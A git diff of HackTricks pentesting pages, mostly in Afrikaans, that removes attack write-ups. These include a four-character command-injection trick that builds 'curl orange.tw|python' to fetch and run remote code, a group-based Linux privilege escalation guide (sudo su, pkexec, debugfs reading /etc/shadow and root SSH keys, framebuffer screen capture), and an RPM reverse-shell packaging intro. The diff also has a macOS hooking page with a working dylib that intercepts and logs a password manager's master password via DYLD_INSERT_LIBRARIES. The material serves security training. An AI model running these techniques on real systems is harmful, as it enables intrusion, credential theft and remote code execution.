# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||||
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
## Execute tar command over a folder
|
||||
http://52.199.204.34/?cmd=>tar
|
||||
http://52.199.204.34/?cmd=>zcf
|
||||
http://52.199.204.34/?cmd=>zzz
|
||||
http://52.199.204.34/?cmd=*%20/h*
|
||||
|
||||
# Another curiosity if you can read files of the current folder
|
||||
ln /f*
|
||||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
### RCE met 4 karakters
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
# and then generate the full command in filenames
|
||||
# generate "g> ht- sl" to file "v"
|
||||
'>dir'
|
||||
'>sl'
|
||||
'>g\>'
|
||||
'>ht-'
|
||||
'*>v'
|
||||
|
||||
# reverse file "v" to file "x", content "ls -th >g"
|
||||
'>rev'
|
||||
'*v>x'
|
||||
|
||||
# generate "curl orange.tw|python;"
|
||||
'>\;\\'
|
||||
'>on\\'
|
||||
'>th\\'
|
||||
'>py\\'
|
||||
'>\|\\'
|
||||
'>tw\\'
|
||||
'>e.\\'
|
||||
'>ng\\'
|
||||
'>ra\\'
|
||||
'>o\\'
|
||||
'>\ \\'
|
||||
'>rl\\'
|
||||
'>cu\\'
|
||||
|
||||
# got shell
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Lees-Alleen/Geen-uitvoering/Distroless Bypass
|
||||
|
||||
As jy binne 'n lêerstelsel is met die **lees-alleen en geen-uitvoering beskermings** of selfs in 'n distroless houer, is daar steeds maniere om **arbitraire binêre lêers uit te voer, selfs 'n shell!:**
|
||||
|
||||
{{#ref}}
|
||||
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
|
||||
{{#endref}}
|
||||
|
||||
## Chroot & ander Jails Bypass
|
||||
|
||||
{{#ref}}
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings & Meer
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,23 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Verder voorbeelde rondom yum kan ook op [gtfobins](https://gtfobins.github.io/gtfobins/yum/) gevind word.
|
||||
|
||||
# Uitvoering van arbitrêre opdragte via RPM-pakkette
|
||||
|
||||
## Kontroleer die Omgewing
|
||||
|
||||
Om hierdie vektor te benut, moet die gebruiker in staat wees om yum-opdragte as 'n hoër bevoorregte gebruiker, d.w.s. root, uit te voer.
|
||||
|
||||
### 'n Werkende voorbeeld van hierdie vektor
|
||||
|
||||
'n Werkende voorbeeld van hierdie ontploffing kan in die [daily bugle](https://tryhackme.com/room/dailybugle) kamer op [tryhackme](https://tryhackme.com) gevind word.
|
||||
|
||||
## Pakket 'n RPM
|
||||
|
||||
In die volgende afdeling sal ek die verpakking van 'n omgekeerde shell in 'n RPM met behulp van [fpm](https://github.com/jordansissel/fpm) behandel.
|
||||
|
||||
Die voorbeeld hieronder skep 'n pakket wat 'n voor-installeer-triggere insluit met 'n arbitrêre skrip wat deur die aanvaller gedefinieer kan word. Wanneer dit geïnstalleer word, sal hierdie pakket die arbitrêre opdrag uitvoer. Ek het 'n eenvoudige omgekeerde netcat shell voorbeeld gebruik vir demonstrasie, maar dit kan soos nodig verander word.
|
||||
```text
|
||||
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,141 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Sudo/Admin Groepe
|
||||
|
||||
## **PE - Metode 1**
|
||||
|
||||
**Soms**, **per standaard \(of omdat sommige sagteware dit benodig\)** binne die **/etc/sudoers** lêer kan jy sommige van hierdie lyne vind:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
|
||||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Dit beteken dat **enige gebruiker wat tot die groep sudo of admin behoort, enigiets as sudo kan uitvoer**.
|
||||
|
||||
As dit die geval is, om **root te word kan jy net uitvoer**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
## PE - Metode 2
|
||||
|
||||
Vind alle suid binaire en kyk of daar die binaire **Pkexec** is:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
As jy vind dat die binêre pkexec 'n SUID-binêre is en jy behoort tot sudo of admin, kan jy waarskynlik binêre uitvoer as sudo met behulp van pkexec.
|
||||
Kontroleer die inhoud van:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **per standaard** kan sommige van die groepe **sudo of admin** **verskyn** in sommige linux.
|
||||
|
||||
Om **root te word kan jy uitvoer**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
As jy probeer om **pkexec** uit te voer en jy kry hierdie **fout**:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh sessies** nodig:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
#Step 5, if correctly authenticate, you will have a root session
|
||||
```
|
||||
|
||||
```bash:session2
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||||
```
|
||||
# Wheel Groep
|
||||
|
||||
**Soms**, **per standaard** binne die **/etc/sudoers** lêer kan jy hierdie lyn vind:
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Dit beteken dat **enige gebruiker wat tot die groep wheel behoort, enigiets as sudo kan uitvoer**.
|
||||
|
||||
As dit die geval is, om **root te word kan jy net uitvoer**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
# Shadow Groep
|
||||
|
||||
Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lêer:
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
So, lees die lêer en probeer om **sommige hashes te kraak**.
|
||||
|
||||
# Skyf Groep
|
||||
|
||||
Hierdie voorreg is byna **gelyk aan worteltoegang** aangesien jy toegang het tot al die data binne die masjien.
|
||||
|
||||
Lêers:`/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Let daarop dat jy met debugfs ook **lêers kan skryf**. Byvoorbeeld, om `/tmp/asd1.txt` na `/tmp/asd2.txt` te kopieer, kan jy doen:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
|
||||
|
||||
# Video Group
|
||||
|
||||
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
Die **tty1** beteken dat die gebruiker **yossi fisies ingelogde** is op 'n terminal op die masjien.
|
||||
|
||||
Die **video groep** het toegang om die skermuitset te sien. Basies kan jy die skerms observeer. Om dit te doen, moet jy die **huidige beeld op die skerm gryp** in rou data en die resolusie wat die skerm gebruik, kry. Die skermdata kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm vind op `/sys/class/graphics/fb0/virtual_size`
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, kies die **`screen.raw`** lêer en kies as lêertipe **Raw image data**:
|
||||
|
||||

|
||||
|
||||
Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes \(en kies die een wat die skerm beter vertoon\):
|
||||
|
||||

|
||||
|
||||
# Root Groep
|
||||
|
||||
Dit lyk of **lede van die root groep** standaard toegang kan hê om sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog, te **wysig**...
|
||||
|
||||
**Kontroleer watter lêers root lede kan wysig**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Docker Groep
|
||||
|
||||
Jy kan die wortel lêer stelsel van die gasheer masjien aan 'n instansie se volume monteer, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief wortel op die masjien.
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# lxc/lxd Groep
|
||||
|
||||
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,338 +0,0 @@
|
||||
# macOS Funksie Hooking
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Funksie Interposering
|
||||
|
||||
Skep 'n **dylib** met 'n **`__interpose`** afdeling (of 'n afdeling gemerk met **`S_INTERPOSING`**) wat tuples van **funksie wysers** bevat wat na die **oorspronklike** en die **vervanging** funksies verwys.
|
||||
|
||||
Dan, **inspuit** die dylib met **`DYLD_INSERT_LIBRARIES`** (die interposering moet plaasvind voordat die hoof toepassing laai). Dit is duidelik dat die [**beperkings** wat op die gebruik van **`DYLD_INSERT_LIBRARIES`** van toepassing is, hier ook van toepassing is](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
|
||||
|
||||
### Interpose printf
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="interpose.c"}}
|
||||
```c:interpose.c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int my_printf(const char *format, ...) {
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="hello.c"}}
|
||||
```c
|
||||
//gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="interpose2.c"}}
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||
__attribute__((used)) static struct { \
|
||||
const void* replacement; \
|
||||
const void* replacee; \
|
||||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||
(const void*) (unsigned long) &_replacement, \
|
||||
(const void*) (unsigned long) &_replacee \
|
||||
};
|
||||
|
||||
int my_printf(const char *format, ...)
|
||||
{
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
DYLD_INTERPOSE(my_printf,printf);
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||
Hello from interpose
|
||||
|
||||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
## Metode Swizzling
|
||||
|
||||
In ObjectiveC is dit hoe 'n metode genoem word: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Dit is nodig om die **objek**, die **metode** en die **params** te hê. En wanneer 'n metode genoem word, word 'n **msg gestuur** met die funksie **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
Die objek is **`someObject`**, die metode is **`@selector(method1p1:p2:)`** en die argumente is **value1**, **value2**.
|
||||
|
||||
Volg die objekstrukture, dit is moontlik om 'n **array van metodes** te bereik waar die **name** en **pointers** na die metodekode **geleë** is.
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat omdat metodes en klasse toeganklik is op grond van hul name, hierdie inligting in die binêre gestoor word, so dit is moontlik om dit te herwin met `otool -ov </path/bin>` of [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
|
||||
### Toegang tot die rou metodes
|
||||
|
||||
Dit is moontlik om toegang te verkry tot die inligting van die metodes soos naam, aantal params of adres soos in die volgende voorbeeld:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
int main() {
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Metode Swizzling met method_exchangeImplementations
|
||||
|
||||
Die funksie **`method_exchangeImplementations`** laat toe om die **adres** van die **implementering** van **een funksie vir die ander** te **verander**.
|
||||
|
||||
> [!CAUTION]
|
||||
> So wanneer 'n funksie aangeroep word, wat **uitgevoer word is die ander een**.
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
|
||||
// Create a new category for NSString with the method to execute
|
||||
@interface NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> In hierdie geval, as die **implementasiekode van die wettige** metode **verifieer** die **metode** **naam**, kan dit hierdie swizzling **opspoor** en voorkom dat dit uitgevoer word.
|
||||
>
|
||||
> Die volgende tegniek het nie hierdie beperking nie.
|
||||
|
||||
### Metode Swizzling met method_setImplementation
|
||||
|
||||
Die vorige formaat is vreemd omdat jy die implementasie van 2 metodes een van die ander verander. Deur die funksie **`method_setImplementation`** te gebruik, kan jy die **implementasie** van 'n **metode vir die ander een** **verander**.
|
||||
|
||||
Onthou net om die **adres van die implementasie van die oorspronklike een** te **stoor** as jy dit van die nuwe implementasie af gaan aanroep voordat jy dit oorskryf, want later sal dit baie moeiliker wees om daardie adres te lokaliseer.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
static IMP original_substringFromIndex = NULL;
|
||||
|
||||
@interface NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
## Hooking Aanval Metodologie
|
||||
|
||||
In hierdie bladsy is verskillende maniere om funksies te hook te bespreek. Dit het egter behels **om kode binne die proses te loop om aan te val**.
|
||||
|
||||
Om dit te doen, is die maklikste tegniek om te gebruik om 'n [Dyld via omgewing veranderlikes of kaping](../macos-dyld-hijacking-and-dyld_insert_libraries.md) in te spuit. Ek vermoed egter dat dit ook gedoen kan word via [Dylib proses inspuiting](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
|
||||
|
||||
Beide opsies is egter **beperk** tot **onbeskermde** binêre/prosesse. Kyk na elke tegniek om meer oor die beperkings te leer.
|
||||
|
||||
'n Funksie hooking aanval is egter baie spesifiek; 'n aanvaller sal dit doen om **sensitiewe inligting van binne 'n proses te steel** (as nie, sou jy net 'n proses inspuiting aanval doen nie). En hierdie sensitiewe inligting mag geleë wees in gebruiker afgelaaide toepassings soos MacPass.
|
||||
|
||||
Die aanvaller se vektor sou wees om of 'n kwesbaarheid te vind of die handtekening van die toepassing te verwyder, en die **`DYLD_INSERT_LIBRARIES`** omgewing veranderlike deur die Info.plist van die toepassing in te spuit deur iets soos:
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
en dan **herregistreer** die toepassing:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
Voeg in daardie biblioteek die hooking kode by om die inligting te exfiltreer: Wagwoorde, boodskappe...
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat in nuwer weergawes van macOS, as jy die **handtekening verwyder** van die toepassingsbinêre en dit voorheen uitgevoer is, macOS **nie die toepassing** meer sal uitvoer nie.
|
||||
|
||||
#### Biblioteek voorbeeld
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||
|
||||
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||||
|
||||
// Listen to the logs with something like:
|
||||
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
// Here will be stored the real method (setPassword in this case) address
|
||||
static IMP real_setPassword = NULL;
|
||||
|
||||
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||
{
|
||||
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||
NSLog(@"[+] Password is: %@", password);
|
||||
|
||||
// After logging the password call the original method so nothing breaks.
|
||||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||
}
|
||||
|
||||
// Library constructor to execute
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv) {
|
||||
// Get the real method address to not lose it
|
||||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||
|
||||
// Make the original method setPassword call the fake implementation one
|
||||
IMP fake_IMP = (IMP)custom_setPassword;
|
||||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,95 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,12 +1,10 @@
|
||||
# Exploiting Content Providers
|
||||
|
||||
## Exploiting Content Providers
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Intro
|
||||
|
||||
Data word **verskaf van een toepassing na ander** op versoek deur 'n komponent bekend as 'n **content provider**. Hierdie versoeke word bestuur deur die **ContentResolver class** metodes. Content providers kan hul data in verskeie plekke stoor, soos 'n **databasis**, **lêers**, of oor 'n **netwerk**.
|
||||
Data word **verskaf van een toepassing na ander** op aanvraag deur 'n komponent bekend as 'n **content provider**. Hierdie versoeke word bestuur deur die metodes van die **ContentResolver class**. Content providers kan hul data in verskillende plekke stoor, soos 'n **databasis**, **lêers**, of oor 'n **netwerk**.
|
||||
|
||||
In die _Manifest.xml_ lêer is die verklaring van die content provider vereis. Byvoorbeeld:
|
||||
```xml
|
||||
@ -14,9 +12,9 @@ In die _Manifest.xml_ lêer is die verklaring van die content provider vereis. B
|
||||
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
|
||||
</provider>
|
||||
```
|
||||
Om toegang te verkry tot `content://com.mwr.example.sieve.DBContentProvider/Keys`, is die `READ_KEYS` toestemming nodig. Dit is interessant om op te let dat die pad `/Keys/` in die volgende afdeling toeganklik is, wat nie beskerm is nie weens 'n fout van die ontwikkelaar, wat `/Keys` beveilig het maar `/Keys/` verklaar het.
|
||||
